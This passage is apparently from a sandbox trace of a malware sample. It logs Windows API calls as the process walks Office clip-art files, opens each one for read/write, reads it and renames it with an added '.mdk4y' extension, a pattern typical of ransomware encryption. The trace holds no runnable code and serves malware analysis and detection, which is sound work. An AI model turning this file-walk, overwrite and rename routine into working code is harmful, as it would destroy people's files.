Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0235319.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0235319.wmf.mdk4y")) returned 1 [0180.683] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.683] AreFileApisANSI () returned 1 [0180.683] GetACP () returned 0x4e4 [0180.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0240695.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0240695.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.683] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825591400000) returned 1 [0180.684] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13d6, lpOverlapped=0x0) returned 1 [0180.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825594000000) returned 1 [0180.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825594000000) returned 1 [0180.711] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.mdk4y")) returned 1 [0180.712] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.726] AreFileApisANSI () returned 1 [0180.726] GetACP () returned 0x4e4 [0180.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0240719.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0240719.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.726] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825595600000) returned 1 [0180.726] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1aa2, lpOverlapped=0x0) returned 1 [0180.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825598500000) returned 1 [0180.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825598500000) returned 1 [0180.755] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.mdk4y")) returned 1 [0180.756] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.756] AreFileApisANSI () returned 1 [0180.756] GetACP () returned 0x4e4 [0180.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0251301.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0251301.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.756] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825598700000) returned 1 [0180.757] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1498, lpOverlapped=0x0) returned 1 [0180.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825598800000) returned 1 [0180.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825598800000) returned 1 [0180.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.mdk4y")) returned 1 [0180.760] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.760] AreFileApisANSI () returned 1 [0180.760] GetACP () returned 0x4e4 [0180.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0251871.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0251871.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.761] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825599100000) returned 1 [0180.761] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1232, lpOverlapped=0x0) returned 1 [0180.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825601900000) returned 1 [0180.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825601900000) returned 1 [0180.789] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.mdk4y")) returned 1 [0180.790] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.790] AreFileApisANSI () returned 1 [0180.790] GetACP () returned 0x4e4 [0180.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0251925.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0251925.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.790] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825606200000) returned 1 [0180.832] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11b6, lpOverlapped=0x0) returned 1 [0180.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825608500000) returned 1 [0180.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825608500000) returned 1 [0180.856] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.mdk4y")) returned 1 [0180.857] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.857] AreFileApisANSI () returned 1 [0180.857] GetACP () returned 0x4e4 [0180.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0252349.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0252349.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.857] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825608800000) returned 1 [0180.858] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x158c, lpOverlapped=0x0) returned 1 [0180.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825610200000) returned 1 [0180.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825610200000) returned 1 [0180.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.mdk4y")) returned 1 [0180.874] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.874] AreFileApisANSI () returned 1 [0180.874] GetACP () returned 0x4e4 [0180.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0278882.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0278882.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.874] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825610500000) returned 1 [0180.876] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xed0, lpOverlapped=0x0) returned 1 [0180.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825611300000) returned 1 [0180.883] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825611300000) returned 1 [0180.884] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.mdk4y")) returned 1 [0180.885] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.885] AreFileApisANSI () returned 1 [0180.885] GetACP () returned 0x4e4 [0180.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0281904.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0281904.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.885] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825612000000) returned 1 [0180.890] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ffa, lpOverlapped=0x0) returned 1 [0180.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825615200000) returned 1 [0180.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825615200000) returned 1 [0180.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.mdk4y")) returned 1 [0180.924] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0180.924] AreFileApisANSI () returned 1 [0180.924] GetACP () returned 0x4e4 [0180.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0283209.GIF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0283209.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0180.924] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0180.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825615500000) returned 1 [0180.925] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4dc6, lpOverlapped=0x0) returned 1 [0181.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825624000000) returned 1 [0181.010] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825624000000) returned 1 [0181.010] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif.mdk4y")) returned 1 [0181.011] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.011] AreFileApisANSI () returned 1 [0181.011] GetACP () returned 0x4e4 [0181.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0284916.JPG", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0284916.JPG", lpUsedDefaultChar=0x37df4c) returned 12 [0181.012] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.012] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825624200000) returned 1 [0181.012] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62e3, lpOverlapped=0x0) returned 1 [0181.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825627000000) returned 1 [0181.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825627000000) returned 1 [0181.041] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.mdk4y")) returned 1 [0181.042] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.042] AreFileApisANSI () returned 1 [0181.042] GetACP () returned 0x4e4 [0181.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285360.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285360.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.042] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.042] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825627200000) returned 1 [0181.042] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7876, lpOverlapped=0x0) returned 1 [0181.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825629000000) returned 1 [0181.060] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825629000000) returned 1 [0181.061] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285360.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285360.wmf.mdk4y")) returned 1 [0181.061] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.061] AreFileApisANSI () returned 1 [0181.061] GetACP () returned 0x4e4 [0181.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285410.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285410.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.062] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825629200000) returned 1 [0181.062] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x30e4, lpOverlapped=0x0) returned 1 [0181.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631000000) returned 1 [0181.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631000000) returned 1 [0181.080] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285410.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285410.wmf.mdk4y")) returned 1 [0181.081] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.081] AreFileApisANSI () returned 1 [0181.081] GetACP () returned 0x4e4 [0181.081] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285444.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285444.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.081] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631300000) returned 1 [0181.083] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2448, lpOverlapped=0x0) returned 1 [0181.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631400000) returned 1 [0181.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631400000) returned 1 [0181.084] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.mdk4y")) returned 1 [0181.085] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.085] AreFileApisANSI () returned 1 [0181.085] GetACP () returned 0x4e4 [0181.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285698.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285698.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.085] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.085] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631500000) returned 1 [0181.085] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a12, lpOverlapped=0x0) returned 1 [0181.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631700000) returned 1 [0181.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631700000) returned 1 [0181.087] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.mdk4y")) returned 1 [0181.088] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.088] AreFileApisANSI () returned 1 [0181.088] GetACP () returned 0x4e4 [0181.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285750.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, 